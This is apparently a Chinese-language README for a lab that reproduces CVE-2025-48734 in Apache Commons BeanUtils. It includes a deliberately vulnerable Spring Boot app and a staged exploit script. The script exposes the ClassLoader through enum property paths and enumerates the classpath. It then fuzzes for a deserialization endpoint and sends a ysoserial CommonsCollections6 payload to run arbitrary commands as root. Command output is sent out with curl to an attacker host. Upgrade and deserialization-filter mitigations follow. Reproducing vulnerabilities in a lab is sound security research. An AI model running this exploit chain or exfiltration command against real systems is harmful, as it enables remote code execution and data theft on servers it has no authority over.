仅用于教育和授权的安全研究目的。
该仓库提供了一个受控的实验室环境,用于重现 Apache Commons BeanUtils 中的 CVE-2025-48734 漏洞,并探索攻击者在特定条件下如何升级到远程代码执行(RCE)。
CVE-2025-48734 影响 Apache Commons BeanUtils 1.11.0 之前的版本(以及 2.x 分支 2.0.0-M2 之前的版本)。问题在于 PropertyUtilsBean 允许通过嵌套路径(例如 enum.declaringClass)访问 Java 枚举的 declaringClass 属性。所有枚举都从 java.lang.Enum 继承 getDeclaringClass() 方法,BeanUtils 将其公开为可导航属性。
攻击者能够控制 getProperty() 或 getNestedProperty() 调用中的属性路径时,可以:
ClassLoader 的引用(通过 enum.declaringClass.classLoader)。classLoader.URLs[n] 枚举运行时的所有 JAR 包。⚠️ 重要提示: 该漏洞本身并不能直接实现 RCE。它提供对
ClassLoader的访问并能够枚举类路径,必须与不安全的反序列化端点以及易受攻击的 gadget 库串联才能实现代码执行。请参阅详细利用分析部分。
CVSS 评分: 8.8(高危)— CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
实验环境由两个组件构成:
一个提供以下端点的 Spring Boot 服务:
GET /api/property?path=<property-path> — 使用 PropertyUtilsBean.getNestedProperty() 读取嵌套属性,未经任何过滤。这是 CVE 的入口点。GET /api/nested-set?path=<path>&value=<value> — 写入嵌套属性(同样存在漏洞)。POST /api/data/import — 接受原始 Java 序列化对象(application/octet-stream)并直接反序列化,未做任何验证。这是 RCE 的投递载体。目标 bean 是一个包含 Status 枚举的 Order 对象。这允许构建 status.declaringClass.classLoader 这条链。
注意:
/api/data/import端点并非 CVE-2025-48734 的一部分。此处将其包含进来是为了模拟一个现实场景:存在漏洞的反序列化端点与 CVE 共存。在实际应用中,这种类型的端点通常出现在遗留集成、内部 API 或配置不当的中间件中。
| 库 | 版本 | 在链中的作用 |
|---|---|---|
commons-beanutils | 1.9.4 | CVE-2025-48734 入口点 |
commons-collections | 3.2.2 | 反序列化 gadget 链 |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
该脚本会安装依赖、编译项目、注册为 systemd 服务并自动启动。应用监听在 0.0.0.0:8080。
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
该脚本会安装依赖并下载 ysoserial。
利用过程在一个脚本中完全自动化,该脚本强制按阶段顺序执行。每个阶段都是下一阶段的前提条件。
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
脚本尝试访问 status.declaringClass 和 status.declaringClass.classLoader。如果任意一个被拦截,脚本中止——应用程序已修补,链条无法继续。
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
利用阶段 1 获取的 ClassLoader 引用,脚本迭代 classLoader.URLs[n] 列出现有的所有 JAR 包,寻找 Commons Collections 3.x。如果未找到,脚本中止——没有可用的 gadget 链。
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
确认存在 gadget 链后,脚本通过发送 Java 序列化魔数字节(0xACED0005)模糊测试常见的 import/sync 端点,并根据响应模式识别尝试调用 ObjectInputStream.readObject() 的端点。如果未找到端点,脚本中止。
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial 生成一个 CommonsCollections6 payload(在 Java 11+ 上最具可移植性),并将其发送到发现的端点。
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
命令在反序列化过程中于服务器端执行,在返回响应之前完成。输出可以通过重定向到文件或 HTTP 回调的方式外传:
# 写入文件
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# 然后在 Debian 上执行:cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# 通过 HTTP 外传(在 Kali 上监听)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
CVE 不是直接的 RCE 向量——它是使链条其余部分成为可能的侦察枢轴:
无 CVE-2025-48734:
→ 无法获取 ClassLoader
→ 无法枚举类路径
→ 无法确认 Commons Collections 3.x 是否存在
→ 没有理由寻找反序列化端点
→ 链条在一开始就断裂
有 CVE-2025-48734:
→ ClassLoader 暴露
→ 通过 URLs[n] 可查看完整类路径
→ 确认存在 Commons Collections 3.x
→ 通过模糊测试发现反序列化端点
→ 实现 RCE
实现完整 RCE 所需的三个对齐条件:
| 条件 | 本实验室 | 现实世界 |
|---|---|---|
| BeanUtils < 1.11.0 且路径输入未过滤 | ✅ | 在遗留应用中常见 |
| 类路径中存在 gadget 库(CC 3.x) | ✅ | 在企业级 Java 中频繁出现 |
| 不安全的反序列化端点 | ✅ | 较不常见,但存在于遗留/中间件集成中 |
升级 Commons BeanUtils:
| 工件 | 易受攻击版本 | 安全版本 |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
在 pom.xml 中:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
两种互补的缓解措施:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
升级 BeanUtils 到 1.11.0 后,重新编译并重启服务。运行利用脚本——它应在阶段 1 中止:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
本工具仅用于教育目的和授权安全测试。未经明确书面许可,针对非您拥有或未经授权的系统使用本工具是违法的。作者对任何滥用行为概不负责。